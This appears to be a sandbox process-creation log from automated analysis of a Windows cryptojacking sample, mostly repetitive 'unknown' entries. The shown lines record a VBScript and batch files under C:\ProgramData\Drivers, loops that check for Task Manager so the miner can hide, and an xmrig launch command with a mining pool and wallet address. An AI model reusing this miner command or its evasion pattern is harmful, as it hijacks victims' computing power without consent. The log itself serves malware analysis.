Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\process.bat" " | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\ProgramData\Drivers\xmrig.exe xmrig.exe --donate-level 5 -o pool.supportxmr.com:443 -u 49LzTohDTP4MAvjfeeKB7pecfkp8MppQKZu5yjawPHfH2aJFbLhgV459XX9y3qoAmjJvxiewcw2bK2toFoMVEAQSLB878rm -k --tls -p speed | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\watch.bat" " | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |